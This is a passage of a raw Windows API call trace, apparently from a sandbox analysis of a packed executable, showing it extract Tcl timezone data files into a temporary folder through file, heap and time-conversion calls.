dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.467] GetFileType (hFile=0x10c) returned 0x1 [0039.467] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.467] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.467] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.467] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.467] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.467] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.468] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.468] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.468] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.468] CloseHandle (hObject=0x10c) returned 1 [0039.468] GetLastError () returned 0x0 [0039.468] SetLastError (dwErrCode=0x0) [0039.468] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0039.468] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.468] GetFileType (hFile=0x10c) returned 0x1 [0039.468] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.468] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.468] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.468] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.468] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.468] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.468] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.468] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.468] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.468] CloseHandle (hObject=0x10c) returned 1 [0039.468] GetLastError () returned 0x0 [0039.468] SetLastError (dwErrCode=0x0) [0039.469] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Puerto_Rico") returned 76 [0039.469] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Puerto_Rico" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\puerto_rico"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.469] GetLastError () returned 0x2 [0039.469] SetLastError (dwErrCode=0x2) [0039.469] GetLastError () returned 0x2 [0039.469] SetLastError (dwErrCode=0x2) [0039.469] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Puerto_Rico", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Puerto_Rico", lpFilePart=0x0) returned 0x4b [0039.469] GetLastError () returned 0x2 [0039.469] SetLastError (dwErrCode=0x2) [0039.469] GetLastError () returned 0x2 [0039.469] SetLastError (dwErrCode=0x2) [0039.469] GetLastError () returned 0x2 [0039.469] SetLastError (dwErrCode=0x2) [0039.469] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Puerto_Rico") returned 76 [0039.469] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.469] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Puerto_Rico" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\puerto_rico"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.469] GetFileType (hFile=0x10c) returned 0x1 [0039.469] htonl (hostlong=0x11010000) returned 0x111 [0039.469] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.469] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x111, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x111, lpOverlapped=0x0) returned 1 [0039.480] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.480] CloseHandle (hObject=0x10c) returned 1 [0039.481] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0039.481] htonl (hostlong=0x40000000) returned 0x40 [0039.481] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.481] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.481] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.481] GetFileType (hFile=0x10c) returned 0x1 [0039.481] htonl (hostlong=0x270f5a00) returned 0x5a0f27 [0039.481] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5ebf27, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.481] htonl (hostlong=0x13060000) returned 0x613 [0039.481] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x613) returned 0x550600 [0039.481] htonl (hostlong=0x13060000) returned 0x613 [0039.481] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.481] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.481] htonl (hostlong=0xa01e0000) returned 0x1ea0 [0039.481] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1ea0) returned 0x561090 [0039.481] htonl (hostlong=0x13060000) returned 0x613 [0039.481] htonl (hostlong=0xa01e0000) returned 0x1ea0 [0039.481] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562f38 [0039.481] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562f38 | out: hHeap=0x530000) returned 1 [0039.481] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0039.481] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.481] CloseHandle (hObject=0x10c) returned 1 [0039.482] GetLastError () returned 0x0 [0039.482] SetLastError (dwErrCode=0x0) [0039.482] GetLastError () returned 0x0 [0039.482] SetLastError (dwErrCode=0x0) [0039.482] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.482] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.482] GetFileType (hFile=0x10c) returned 0x1 [0039.482] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.482] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.482] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.482] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.482] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.482] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.482] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.482] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.482] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.482] CloseHandle (hObject=0x10c) returned 1 [0039.482] GetLastError () returned 0x0 [0039.482] SetLastError (dwErrCode=0x0) [0039.482] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.482] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.482] GetFileType (hFile=0x10c) returned 0x1 [0039.482] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.483] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.483] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.483] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.483] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.483] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.483] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.483] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.483] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.483] CloseHandle (hObject=0x10c) returned 1 [0039.483] GetLastError () returned 0x0 [0039.483] SetLastError (dwErrCode=0x0) [0039.483] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0039.483] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.483] GetFileType (hFile=0x10c) returned 0x1 [0039.483] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.483] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.483] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.483] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.483] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.483] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.483] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.483] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.483] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.483] CloseHandle (hObject=0x10c) returned 1 [0039.484] GetLastError () returned 0x0 [0039.484] SetLastError (dwErrCode=0x0) [0039.484] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Rainy_River") returned 76 [0039.484] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Rainy_River" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\rainy_river"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.484] GetLastError () returned 0x2 [0039.484] SetLastError (dwErrCode=0x2) [0039.484] GetLastError () returned 0x2 [0039.484] SetLastError (dwErrCode=0x2) [0039.484] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Rainy_River", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Rainy_River", lpFilePart=0x0) returned 0x4b [0039.484] GetLastError () returned 0x2 [0039.484] SetLastError (dwErrCode=0x2) [0039.484] GetLastError () returned 0x2 [0039.484] SetLastError (dwErrCode=0x2) [0039.484] GetLastError () returned 0x2 [0039.484] SetLastError (dwErrCode=0x2) [0039.484] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Rainy_River") returned 76 [0039.484] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.484] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Rainy_River" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\rainy_river"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.484] GetFileType (hFile=0x10c) returned 0x1 [0039.484] htonl (hostlong=0xa01e0000) returned 0x1ea0 [0039.484] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0039.486] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.486] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xea0, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xea0, lpOverlapped=0x0) returned 1 [0039.486] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.486] CloseHandle (hObject=0x10c) returned 1 [0039.490] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.491] htonl (hostlong=0x40000000) returned 0x40 [0039.491] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.491] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.491] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.491] GetFileType (hFile=0x10c) returned 0x1 [0039.491] htonl (hostlong=0x3a155a00) returned 0x5a153a [0039.491] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5ec53a, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.491] htonl (hostlong=0xbe050000) returned 0x5be [0039.491] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x5be) returned 0x550600 [0039.491] htonl (hostlong=0xbe050000) returned 0x5be [0039.491] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.492] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.492] htonl (hostlong=0xc61c0000) returned 0x1cc6 [0039.492] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1cc6) returned 0x561090 [0039.492] htonl (hostlong=0xbe050000) returned 0x5be [0039.492] htonl (hostlong=0xc61c0000) returned 0x1cc6 [0039.492] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562d60 [0039.493] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562d60 | out: hHeap=0x530000) returned 1 [0039.493] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0039.493] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.493] CloseHandle (hObject=0x10c) returned 1 [0039.493] GetLastError () returned 0x0 [0039.493] SetLastError (dwErrCode=0x0) [0039.493] GetLastError () returned 0x0 [0039.493] SetLastError (dwErrCode=0x0) [0039.493] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.493] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.493] GetFileType (hFile=0x10c) returned 0x1 [0039.493] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.493] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.493] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.493] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.493] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.493] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.493] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.493] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.493] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.493] CloseHandle (hObject=0x10c) returned 1 [0039.494] GetLastError () returned 0x0 [0039.494] SetLastError (dwErrCode=0x0) [0039.494] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.494] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.494] GetFileType (hFile=0x10c) returned 0x1 [0039.494] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.494] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.494] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.494] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.494] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.494] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 